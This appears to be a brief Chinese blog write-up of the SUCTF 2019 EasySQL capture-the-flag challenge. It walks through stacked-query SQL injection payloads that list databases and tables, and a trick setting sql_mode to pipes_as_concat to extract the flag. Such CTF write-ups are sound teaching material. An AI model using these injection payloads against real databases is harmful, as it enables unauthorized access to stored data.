[SUCTF 2019]EasySQL 1

发布时间 2024-01-12 15:41:58作者: follycat

[SUCTF 2019]EasySQL 1

审题

判断SQL

知识点

SQL注入

解题

  1. 堆叠查询

输入1',1",1

发现1有回显

image-20240112152209365

开始爆库

1;show databases#

然后,爆表

1;show tables#

image-20240112152548440

看到flag,想爆列的,但是select啥的都没用。

看了WP后发现大佬们的思路太强了

  1. 猜测sql语句为:select []||flag from Flag;

    直接输入*,1得到flag

    1. 输入1;set sql_mode=pipes_as_concat;select 1
      使|| 符号失效
      将sql_mode()函数设置成pipes_as_concat时,||的作用由or变为拼接字符串
      select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
      拼接完:
      select 1
      set sql_mode=pipes_as_concat
      select 1||flag from Flag

参考博客

[SUCTF 2019]EasySQL 1 - Junglezt - 博客园